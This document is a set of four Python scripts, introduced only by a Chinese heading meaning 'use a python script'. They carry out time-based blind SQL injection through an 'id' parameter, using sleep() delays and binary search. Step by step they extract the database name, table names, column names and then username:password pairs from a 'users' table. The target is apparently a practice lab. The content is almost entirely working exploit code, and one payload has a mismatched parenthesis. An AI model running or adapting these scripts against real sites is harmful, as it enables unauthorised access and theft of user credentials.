使用python脚本
- def inject_database1(url):
- name = ''
- for i in range(1, 20):
- low = 32
- high = 128
- mid = (low + high) // 2
- while low < high:
- payload = "1' and if(ascii(substr(database(),%d,1)) > %d ,sleep(2),0)-- " % (i, mid)
- res = {"id": payload}
- start_time = time.time()
- r = requests.get(url, params=res)
- end_time = time.time()
- if end_time - start_time >= 2:
- low = mid + 1
- else:
- high = mid
- mid = (low + high) // 2
- if mid == 32:
- break
- name = name + chr(mid)
- print(name)
-
-
- inject_database1(url)
使用python脚本
- def inject_database1(url):
- name = ''
- for i in range(1, 20):
- low = 32
- high = 128
- mid = (low + high) // 2
- while low < high:
- payload = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)
- res = {"id": payload}
- start_time = time.time()
- r = requests.get(url, params=res)
- end_time = time.time()
- if end_time - start_time >= 1:
- low = mid + 1
- else:
- high = mid
- mid = (low + high) // 2
- if mid == 32:
- break
- name = name + chr(mid)
- print(name)
-
-
- inject_database1(url)
使用python脚本
- def inject_database1(url):
- name = ''
- for i in range(1, 20):
- low = 32
- high = 128
- mid = (low + high) // 2
- while low < high:
- payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1) > %d ,sleep(1),0)-- " % (i, mid)
- res = {"id": payload}
- start_time = time.time()
- r = requests.get(url, params=res)
- end_time = time.time()
- if end_time - start_time >= 1:
- low = mid + 1
- else:
- high = mid
- mid = (low + high) // 2
- if mid == 32:
- break
- name = name + chr(mid)
- print(name)
-
-
- inject_database1(url)
使用python脚本
- def inject_database1(url):
- name = ''
- for i in range(1, 20):
- low = 32
- high = 128
- mid = (low + high) // 2
- while low < high:
- payload = "1' and if(ascii(substr((select group_concat(username,0x3a,password) from users),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)
- res = {"id": payload}
- start_time = time.time()
- r = requests.get(url, params=res)
- end_time = time.time()
- if end_time - start_time >= 1:
- low = mid + 1
- else:
- high = mid
- mid = (low + high) // 2
- if mid == 32:
- break
- name = name + chr(mid)
- print(name)